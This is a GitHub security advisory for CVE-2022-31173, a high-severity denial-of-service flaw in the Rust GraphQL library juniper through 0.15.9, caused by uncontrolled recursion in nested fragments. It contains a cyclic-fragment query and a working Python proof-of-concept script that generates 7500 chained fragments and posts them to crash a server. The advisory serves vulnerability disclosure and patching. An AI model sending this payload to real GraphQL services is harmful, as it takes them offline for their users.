Skip to content

DOS GraphQL Nested Fragments overflow

High
tyranron published GHSA-4rx6-g5vg-5f3j Jul 28, 2022

Package

cargo juniper (Rust)

Affected versions

<= 0.15.9

Patched versions

0.15.10

Description

GraphQL behaviour

Nested fragment in GraphQL might be quite hard to handle depending on the implementation language.
Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.

# Infinite loop example
query {
    ...a
}

fragment a on Query {
    ...b
}

fragment b on Query {
    ...a
}

POC TLDR

With max_size being the number of nested fragment generated.
At max_size=7500, it should instantly raise:

However, with a lower size, you will overflow the memory after some iterations.

Reproduction steps (Juniper)

git clone https://github.com/graphql-rust/juniper.git
cd juniper

Save this POC as poc.py

import requests
import time
import json
from itertools import permutations

print('=== Fragments POC ===')

url = 'http://localhost:8080/graphql'

max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]

fragment_payloads = ''
for i, perm in enumerate(perms):
    next_perm = perms[i+1] if i < max_size-1 else perms[0]
    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'

payload = {'query':'query{\n  ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}

headers = {
  'Content-Type': 'application/json',
}

try:
    response = requests.request('POST', url, headers=headers, json=payload)
    print(response.text)
except requests.exceptions.ConnectionError:
    print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py

Credits

@Escape-Technologies

@c3b5aw
@MdotTIM
@karimhreda

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2022-31173

Weaknesses

Uncontrolled Recursion

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack. Learn more on MITRE.

Credits